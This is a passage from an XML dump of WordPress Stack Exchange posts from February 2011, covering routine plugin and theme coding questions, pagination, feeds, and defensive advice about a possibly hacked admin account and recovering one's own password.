  <row Id="8301" PostTypeId="2" ParentId="8284" CreationDate="2011-02-01T19:18:40.867" Score="0" ViewCount="" Body="&lt;p&gt;However &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8284/get-the-term-list-without-links-in-3-1/8291#8291&quot;&gt;@anu&lt;/a&gt; is right, I figured out you can call the php function &lt;a href=&quot;http://php.net/manual/en/function.strip-tags.php&quot; rel=&quot;nofollow&quot;&gt;strip_tags&lt;/a&gt; to strip out the tags of the return value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_the_terms_list( $post-&amp;gt;ID, 'tags' );&#xA;$terms = strip_tags( $terms );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-01T19:18:40.867" />
  <row Id="8302" PostTypeId="2" ParentId="8230" CreationDate="2011-02-01T19:26:06.533" Score="0" ViewCount="" Body="&lt;p&gt;Try increasing your servers php memory limit&#xA;by either editing your php.ini&#xA;or wp-config.php using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_MEMORY_LIMIT', '96M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and let us know.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-01T19:26:06.533" CommentCount="2" />
  <row Id="8303" PostTypeId="1" AcceptedAnswerId="8360" CreationDate="2011-02-01T19:29:05.780" Score="0" ViewCount="184" Body="&lt;p&gt;I need to obtain a reference to the $wp_filesystem object. In the test below, the var_dump($wp_filesystem) returns NULL. What additional files are required in order to properly set up $wp_filesystem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was expecting that since its called in file.php, loading that file would be sufficient to load the object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require('../../../wp-blog-header.php');&#xA;require('../../../wp-admin/includes/file.php');&#xA;&#xA;$mytest = somefunction();&#xA;&#xA;function somefunction() {&#xA;  global $wp_filesystem;&#xA;  var_dump($wp_filesystem);&#xA;&#xA;  return;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I've found that I can call WP_Filesystem() directly to create it, so I'm getting the zip extracted fine, now the problem is that the zip file is copied to the destination folder rather than deleted as my ZipArchive method does.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require('../../../wp-blog-header.php');&#xA;require('../../../wp-admin/includes/file.php');&#xA;&#xA;function openZip($file_to_open) { &#xA;    global $target;  &#xA;    global $wp_filesystem;&#xA;    if(class_exists('ZipArchive'))&#xA;    {&#xA;        $zip = new ZipArchive();  &#xA;        $x = $zip-&amp;gt;open($file_to_open);  &#xA;        if($x === true) &#xA;        {  &#xA;            $zip-&amp;gt;extractTo($target);  &#xA;            $zip-&amp;gt;close();                &#xA;            unlink($file_to_open);  &#xA;        } else {  &#xA;            die(&quot;There was a problem. Please try again!&quot;);  &#xA;        }&#xA;    }&#xA;    else&#xA;    {&#xA;    WP_Filesystem();&#xA;    $my_dirs = ''; //What should this be? I'm already passing he $target directory&#xA;    _unzip_file_pclzip($file_to_open, $target, $my_dirs);&#xA;    }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:08:54.517" LastActivityDate="2011-02-05T10:08:54.517" Title="$wp_filesystem returns NULL. What are the dependencies?" Tags="&lt;plugin-development&gt;&lt;filesystem&gt;&lt;coding&gt;&lt;wp-filesystem&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8304" PostTypeId="2" ParentId="8297" CreationDate="2011-02-01T19:34:13.663" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;&amp;lt;?php query_posts(); ?&amp;gt;&lt;/code&gt; in your code is causing the global query to be reset to show all posts instead of the one set by your rewrite rules.  You should remove that line.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2011-02-01T19:34:13.663" CommentCount="1" />
  <row Id="8305" PostTypeId="2" ParentId="8285" CreationDate="2011-02-01T19:34:42.417" Score="0" ViewCount="" Body="&lt;p&gt;You can use the_tags hook to add your code to the tags output like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_my_code_after_tags($tags){&#xA;  $my_code =$tags . &quot;your output here&quot;;&#xA;  return $my_code;&#xA;}&#xA;&#xA;add_filter('the_tags','add_my_code_after_tags');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-01T19:34:42.417" CommentCount="1" />
  <row Id="8306" PostTypeId="2" ParentId="7373" CreationDate="2011-02-01T20:06:20.983" Score="2" ViewCount="" Body="&lt;p&gt;Custom post statuses do exist in the core code of WordPress, so you can register them, but they are not yet properly implemented in the admin screens (e.g. they don't show in the dropdown list of statuses alongside Pending Review, Draft, Published). So essentially you can do very little with them at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more on &lt;a href=&quot;https://core.trac.wordpress.org/ticket/12706&quot; rel=&quot;nofollow&quot;&gt;Trac ticket 12706&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-01T20:06:20.983" CommentCount="1" />
  <row Id="8307" PostTypeId="1" AcceptedAnswerId="8308" CreationDate="2011-02-01T20:09:21.913" Score="0" ViewCount="154" Body="&lt;p&gt;The admin password keeps changing without me authorizing it. I've gone in the back end through phyMYAdmin to change the password to something different, which works for a few days or hours, but then stops working again. I'm up to date with my WP version and hosed on GoDaddy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a hacker/virus of some sort or is there something wrong with my install. It only started happening a day or so ago, but this is the 4th time I've had to manually reset the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="919" LastActivityDate="2011-07-31T16:03:41.677" Title="Admin password keeps changing" Tags="&lt;admin&gt;&lt;password&gt;" AnswerCount="3" />
  <row Id="8308" PostTypeId="2" ParentId="8307" CreationDate="2011-02-01T20:13:41.097" Score="1" ViewCount="" Body="&lt;p&gt;This might be something weirdly broken, but it does seem a lot like a hack. You probably should notify your hosting about this and (if you are up to it) check server logs for access from unknown IPs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I hope you are running latest version? I remember there was vulnerability in some 2.8.x version that allowed to reset admin password (not gain access to it, just reset).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-01T20:13:41.097" CommentCount="2" />
  <row Id="8309" PostTypeId="1" AcceptedAnswerId="8313" CreationDate="2011-02-01T20:25:47.737" Score="0" ViewCount="110" Body="&lt;p&gt;I just converted a site to a multisite setup using WordPress 3.0.4.  One thing I found in a hurry is that if I wanted to edit a theme's code, the changes would be reflected on all the subsites that use the same theme.  Is there a to customize the code so that only a certain subsite receives the changes??&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-02-01T20:42:12.637" Title="Customizing 1 theme for multiple blogs in a multisite setup" Tags="&lt;themes&gt;&lt;multisite&gt;&lt;customization&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="8310" PostTypeId="1" AcceptedAnswerId="8379" CreationDate="2011-02-01T20:27:49.550" Score="0" ViewCount="118" Body="&lt;p&gt;I'm using CMS Press for custom post types. The issue is the feed doesn't validate because lastBuildDate is blank. I am not using WordPress's default posts for anything and that is causing the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a test post using WordPress's default post and voila lastBuildDate was filled in and the feed validated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I deleted the post it removed the date in lastBuildDate and the feed didn't validate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the code below to add the custom post types in the main feed but this is an issue with the feeds created by the custom post types also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something to get the lastBuildDate to populate?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ( is_front_page() &amp;amp;&amp;amp; false == $query-&amp;gt;query_vars['suppress_filters'] ) || is_feed() ){&#xA;        $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;        query_posts( array('post_type'=&amp;gt;array('post', 'games', 'entertainment', 'tech', 'podcasts'),'paged'=&amp;gt;$paged ) );&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I answered my own question below.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2832" LastEditorUserId="2832" LastEditorDisplayName="" LastEditDate="2011-02-02T19:30:35.900" LastActivityDate="2011-02-02T19:30:35.900" Title="Custom post types - RSS lastBuildDate issue" Tags="&lt;custom-post-types&gt;&lt;rss&gt;&lt;feed&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="8311" PostTypeId="1" AcceptedAnswerId="8320" CreationDate="2011-02-01T20:34:37.417" Score="0" ViewCount="52" Body="&lt;p&gt;Wanted to know if there was any documentation or plugins that allowed a site to pull prices and other information from Amazon.com on DVD's and other products.  I'm creating a plugin that stores information about DVD releases and I would like to create code that pulls the price from Amazon, and calculates the difference compared the MSRP and of course provide a link to the Amazon page for purchase.  I do know that much of Amazon's API revolves around the product's Amazon ID number, so I know I'll have to story it with the custom post type associated with the release.  Has this been done before?&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-02-01T22:04:25.267" Title="Amazon.com intergration with WordPress?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;custom-field&gt;" AnswerCount="2" />
  <row Id="8312" PostTypeId="2" ParentId="4794" CreationDate="2011-02-01T20:36:45.887" Score="1" ViewCount="" Body="&lt;p&gt;To list top level pages only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_pages( 'depth=1' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To list children of the current page, but &lt;strong&gt;only&lt;/strong&gt; if it is a top level page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( 0 == $post-&amp;gt;post_parent) {&#xA;    wp_list_pages( 'child_of=' . $post-&amp;gt;ID . '&amp;amp;depth=1' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To list children of the current page, but &lt;strong&gt;only&lt;/strong&gt; if it is a child page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( 0 != $post-&amp;gt;post_parent) {&#xA;    wp_list_pages( 'child_of=' . $post-&amp;gt;ID . '&amp;amp;depth=1' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-01T20:36:45.887" />
  <row Id="8313" PostTypeId="2" ParentId="8309" CreationDate="2011-02-01T20:42:12.637" Score="1" ViewCount="" Body="&lt;p&gt;If it is just css customizations, use this plugin:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/safecss/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/safecss/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's what wp.com uses for their css upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have to edit the php, make a copy of the theme with a new name on the theme folder and in style.css.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-02-01T20:42:12.637" CommentCount="1" />
  <row Id="8314" PostTypeId="2" ParentId="8310" CreationDate="2011-02-01T20:49:59.103" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;lastBuildDate&lt;/code&gt; is getting filled with data returned by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_lastpostmodified&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_lastpostmodified()&lt;/code&gt;&lt;/a&gt; function. Which only checks for native &lt;code&gt;post&lt;/code&gt; type, so if you have none - there is no date found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filter &lt;code&gt;get_lastpostmodified&lt;/code&gt; hook to return some other build date (in MySQL &lt;code&gt;DATETIME&lt;/code&gt; format) instead of it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-01T20:49:59.103" />
  <row Id="8315" PostTypeId="1" CreationDate="2011-02-01T20:50:01.827" Score="2" ViewCount="246" Body="&lt;p&gt;I'm trying to stop Contact From 7 from adding paragraph and break tags to HTML emails but can't figure it out. About 4 blank paragraph tags are added at the beginning of the email and two at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/plugin-contact-form-7-auto-and-tags&quot; rel=&quot;nofollow&quot;&gt;This question&lt;/a&gt; brings up the same issue, and the fix is said to have come in a recent update but I have the most recent one and no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2429" LastActivityDate="2011-06-13T12:01:29.850" Title="Contact Form 7 from adding paragraph and break tags to HTML emails" Tags="&lt;php&gt;&lt;contact-form-7&gt;" AnswerCount="4" />
  <row Id="8316" PostTypeId="2" ParentId="8311" CreationDate="2011-02-01T20:59:44.650" Score="0" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=amazon&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search.php?q=amazon&amp;amp;sort=&lt;/a&gt; for different plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds like you're talking about being an amazon affilate?&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-02-01T20:59:44.650" />
  <row Id="8317" PostTypeId="1" AcceptedAnswerId="8346" CreationDate="2011-02-01T21:06:00.807" Score="1" ViewCount="122" Body="&lt;p&gt;I am trying to hook into activate_plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that activate_plugin has 1 required param and 2 optional ones. I am trying to acquire all 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// create plugin settings menu&#xA;add_action('admin_menu', 'pe_create_menu');&#xA;&#xA;&#xA;function pe_create_menu() {&#xA;&#xA;  //create new sub-level menu&#xA;  add_submenu_page( 'plugins.php', 'Plugin Settings', 'Plugin Enabler', 'administrator', __FILE__, 'pe_settings_page' );&#xA;&#xA;  // Add my hook&#xA;  add_action( 'activate_plugin', 'pe_network_activate', 10, 3 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function pe_network_activate( $plugin, $redirect = '', $network_wide = false ) {&#xA;  $args = var_export( func_get_args(), true);&#xA;  _log(&quot;Args: &quot; . $args); // write to the WP error_log&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$args returns only the first parameter. How do I get all 3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to be able to tell when a plugin is being network activated, or just normally activated - hence the need for $network_wide.&lt;/p&gt;&#xA;" OwnerUserId="2878" LastEditorUserId="2878" LastEditorDisplayName="" LastEditDate="2011-02-01T21:20:56.833" LastActivityDate="2011-02-02T09:27:39.213" Title="How to get all of the activate_plugin action parameters?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;hooks&gt;&lt;actions&gt;" AnswerCount="2" />
  <row Id="8318" PostTypeId="2" ParentId="8317" CreationDate="2011-02-01T21:13:36.467" Score="0" ViewCount="" Body="&lt;p&gt;What do you need &lt;code&gt;var_export()&lt;/code&gt; for? &lt;code&gt;func_get_args()&lt;/code&gt; should give you array of arguments on its own.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-01T21:13:36.467" CommentCount="1" />
  <row Id="8319" PostTypeId="1" AcceptedAnswerId="8337" CreationDate="2011-02-01T22:02:28.403" Score="1" ViewCount="99" Body="&lt;p&gt;I've recently started using the &lt;a href=&quot;http://wordpress.org/extend/plugins/hikari-hooks/&quot; rel=&quot;nofollow&quot;&gt;Hikari Hooks&lt;/a&gt; plugin for Wordpress as it seems to allow you to get a good idea of what do_actions are being called on the page, so that you can easily find out where potential hooks for plugin code might lie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there better tools/plugins for accomplishing the same thing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular I was looking for one that might notify me of &lt;a href=&quot;http://codex.wordpress.org/Post_Status_Transitions&quot; rel=&quot;nofollow&quot;&gt;post status transition actions&lt;/a&gt; such as &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8257/add-action-hook-for-completely-new-post&quot;&gt;new_to_publish and draft_to_publish&lt;/a&gt;...It appears that &lt;a href=&quot;http://wordpress.org/extend/plugins/hikari-hooks/&quot; rel=&quot;nofollow&quot;&gt;Hikari Hooks&lt;/a&gt; does notify you of such changes but not that they are available, only if you're already added them as an action.&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditorDisplayName="" LastEditDate="2011-02-01T22:08:42.297" LastActivityDate="2011-02-02T06:24:37.943" Title="Good tools for locating hooks in a wordpress page/admin interface/blog post?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;hooks&gt;&lt;actions&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="8320" PostTypeId="2" ParentId="8311" CreationDate="2011-02-01T22:04:25.267" Score="1" ViewCount="" Body="&lt;p&gt;You're looking for something a little more advanced than a simple affiliate integration.  Unfortunately, I don't thing there's an existing plug-in solution for the kind of interaction you're trying to achieve.  That said, it should still be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A cursory search turned up Amazon's &lt;a href=&quot;https://affiliate-program.amazon.com/gp/advertising/api/detail/main.html&quot; rel=&quot;nofollow&quot;&gt;Product Advertising API&lt;/a&gt;, which seems to be exactly what you'll need.  It provides directly programmatic access to the Amazon product database, meaning you can find (and cache) product information and prices fairly easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this to power a local search of the Amazon database for products or just retrieve information specific to a product based on a known Amazon ID.  It's up to you, and I encourage you read through the documentation and see if this is the right platform.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-02-01T22:04:25.267" CommentCount="1" />
  <row Id="8321" PostTypeId="1" AcceptedAnswerId="8322" CreationDate="2011-02-01T22:25:06.833" Score="0" ViewCount="80" Body="&lt;p&gt;I have my own Wordpress installation for my infrequently updated blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a habit of forgetting my password so have to request a new one and reset it every two to three months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done it again today and got the &quot;Password Reset&quot; e-mail (which arrives within seconds of requesting it). Following the link to actually reset the password gives me the &quot;Check your e-mail for your new password.&quot; page but that e-mail never arrives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked my spam folder and there's nothing in that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the quickest way of resetting my password and getting back into my blog? Do I have to go via the database? If so what do I need to reset there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should add that the blog hasn't been hacked - I've checked the pages and they're all OK. No spurious links or content vandalised.&lt;/p&gt;&#xA;" OwnerUserId="220" LastEditorUserId="220" LastEditorDisplayName="" LastEditDate="2011-02-01T22:31:20.520" LastActivityDate="2011-02-02T06:04:25.267" Title="Locked out of my own blog and password reset not working" Tags="&lt;email&gt;&lt;password&gt;" AnswerCount="2" />
  <row Id="8322" PostTypeId="2" ParentId="8321" CreationDate="2011-02-01T22:47:14.947" Score="4" ViewCount="" Body="&lt;p&gt;If you can get to phpMyAdmin (or something equivalent), open the DB and find the wp_users table. Select the appropriate user to edit and change the user_pass field to &lt;code&gt;whatever&lt;/code&gt;. Set the function to MD5 and save. You should now be able to log in.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-02-01T22:47:14.947" CommentCount="2" />
  <row Id="8323" PostTypeId="2" ParentId="8319" CreationDate="2011-02-01T22:47:26.960" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@leeand00:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note sure if this is a &lt;em&gt;better&lt;/em&gt; way but I wrote a plugin to display the active hook on a page for this answer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/307/where-can-i-find-a-list-of-wordpress-hooks/339#339&quot;&gt;Where Can I Find a List of WordPress Hooks?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-01T22:47:26.960" />
  <row Id="8324" PostTypeId="1" CreationDate="2011-02-01T23:09:48.260" Score="0" ViewCount="99" Body="&lt;p&gt;Following up from &lt;a href=&quot;http://wordpress.stackexchange.com/q/8321/220&quot;&gt;Locked out of my own blog and password reset not working&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After posting the question I decided to give the password reset route one last try and this time the e-mail did come through and I was able to get back into the blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took me a total of four attempts to reset the password before it finally worked. Given that the first three e-mails were apparently sent but didn't arrive and the last one arrived very quickly, what should I be looking for in my set up that would cause this feature not to work? Or is this just a feature of e-mail that I must live with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's been no indication that the e-mails were bounced by my ISP or that they've been marked as spam. My ISP is also my web host and domain name registrar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still running Wordpress 2.9.2 (as I said before it's a very infrequently updated blog and the next task is to upgrade to 3.0.4), but I do remember having this problem before with previous versions.&lt;/p&gt;&#xA;" OwnerUserId="220" LastEditorUserId="220" LastEditorDisplayName="" LastEditDate="2011-02-06T00:08:08.347" LastActivityDate="2011-08-05T23:39:24.090" Title="Why would it take four reset password attempts to finally get the e-mail?" Tags="&lt;email&gt;&lt;password&gt;" AnswerCount="1" CommentCount="9" />
  <row Id="8325" PostTypeId="1" AcceptedAnswerId="8353" CreationDate="2011-02-02T00:12:51.313" Score="1" ViewCount="325" Body="&lt;p&gt;I have my own custom post type, and 15 items there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code shows all the items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   $loop = new WP_Query( array( 'post_type' =&amp;gt; 'my_post_type', 'posts_per_page' =&amp;gt; 15 ) );&#xA;  while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;(...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I change posts_per_page to &quot;5&quot; there should be 3 pages, but it displays only  5 items and there are no other pages (or at least I don't know how to access them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code displays nothing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;  {menu or any html code}&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe I do something wrong? I have the whole code/loop in page-myposttype.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $temp = $wp_query;&#xA;    $loop= null;&#xA;    $paged = get_query_var('paged') ? get_query_var('paged') : 1;&#xA;    $loop = new WP_Query( array( &#xA;    'post_type' =&amp;gt; 'my_post_type',   &#xA;    'paged' =&amp;gt; $paged, &#xA;    'posts_per_page' =&amp;gt; 2 ) );&#xA;        while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no luck... When I type wordpress/my_post_type/page/2 (page/3 etc.) manually I see other pages and they work &amp;amp; look fine. But I'm unable to echo the default navi... :(&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-02-02T13:56:10.950" LastActivityDate="2011-02-02T13:57:25.833" Title="Paging doesn't work?" Tags="&lt;custom-post-types&gt;&lt;loop&gt;&lt;navigation&gt;&lt;pagination&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="8326" PostTypeId="1" AcceptedAnswerId="8345" CreationDate="2011-02-02T00:41:20.467" Score="0" ViewCount="194" Body="&lt;p&gt;I have a number of slugs and items in my custom category:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SLUG - number&lt;/p&gt;&#xA;&#xA;&lt;p&gt;video - 5 items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;music -  5 items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[no-slug] - 5 items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;empty - 0 items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blabla - 0 items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to list all non-empty slugs (otpionally with number of items next to them), like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[ video (5) ] [ music (5) ] [ other (5) ]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(empty and blabla omitted)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows how to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I know is how to get a slug for particular item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $slug = $terms[0]-&amp;gt;slug; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My taxonomy registration:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;functions.php&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(&quot;op&quot;, array(&quot;portfolio&quot;), array(&#xA;  &quot;hierarchical&quot; =&amp;gt; true, &#xA;  &quot;label&quot; =&amp;gt; &quot;Categories&quot;, &#xA;  &quot;singular_label&quot; =&amp;gt; &quot;Category&quot;,  &#xA;  &quot;rewrite&quot; =&amp;gt; true,&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;page-portfolio.php&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxonomy = &quot;op&quot;;&#xA;function get_taxonomy_list_html($taxonomy) {&#xA;  $term_links = array();&#xA;  foreach(get_terms('Category') as $term) {&#xA;    if (!empty($term-&amp;gt;slug) &amp;amp;&amp;amp; $term-&amp;gt;count&amp;gt;0) {&#xA;      $link = get_term_link($term,$taxonomy);&#xA;      $term_links[] = &quot;[ &amp;lt;a href='{$link}'&amp;gt;{$term-&amp;gt;name}&amp;lt;/a&amp;gt; ({$term-&amp;gt;count}) ]&quot;;&#xA;    }&#xA;  }&#xA;  return implode(' ',$term_links);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Displays nothing :(&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-04T06:40:26.993" LastActivityDate="2011-02-04T07:10:42.787" Title="Listing all slugs?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;slug&gt;" AnswerCount="1" />
  <row Id="8327" PostTypeId="1" AcceptedAnswerId="8347" CreationDate="2011-02-02T01:05:54.030" Score="1" ViewCount="145" Body="&lt;p&gt;This is a repost of a question asked on stackoverflow, and was referred to this site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client wants to create a form on his new WP site that when filled out and submitted will be submitted to his admin post queue to approve and if he approves gets posted on his site in the &quot;blog&quot; (which is actually a bunch of guitar like tabs). The form would be custom and have custom fields. Below is the form, but in the old design before I did a refresh on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how hard would this be? He does not want it in the WP admin panel which i began to do, but outside in a page like /contribute&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/LKgdM.png&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2881" LastEditorUserId="152" LastEditorDisplayName="" LastEditDate="2011-02-19T02:14:48.853" LastActivityDate="2011-02-19T02:14:48.853" Title="Anonymous Postings" Tags="&lt;plugins&gt;&lt;customization&gt;&lt;cms&gt;&lt;form&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8328" PostTypeId="2" ParentId="8307" CreationDate="2011-02-02T01:10:43.590" Score="1" ViewCount="" Body="&lt;p&gt;Geez, that doesn't smell right to me. I have this funny faith in systems being deterministic, and that type of behavior doesn't come under that heading. Once a system starts acting &quot;funny&quot; I get all &lt;em&gt;show me&lt;/em&gt; about proving that it &lt;em&gt;hasn't&lt;/em&gt; been hacked, rather than waiting for something obvious (like your browser exploding in flames).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would check all of your other users and verify that none of them have elevated privileges. I also suggest doing a full crawl of your own site (from an outside system), collect all of the hrefs and srcs, and see if any of the URLs don't look right. Also check your &lt;code&gt;.htaccess&lt;/code&gt; file and see if it looks good. I had a customer's site hacked about 18 months ago and the primary damage was some 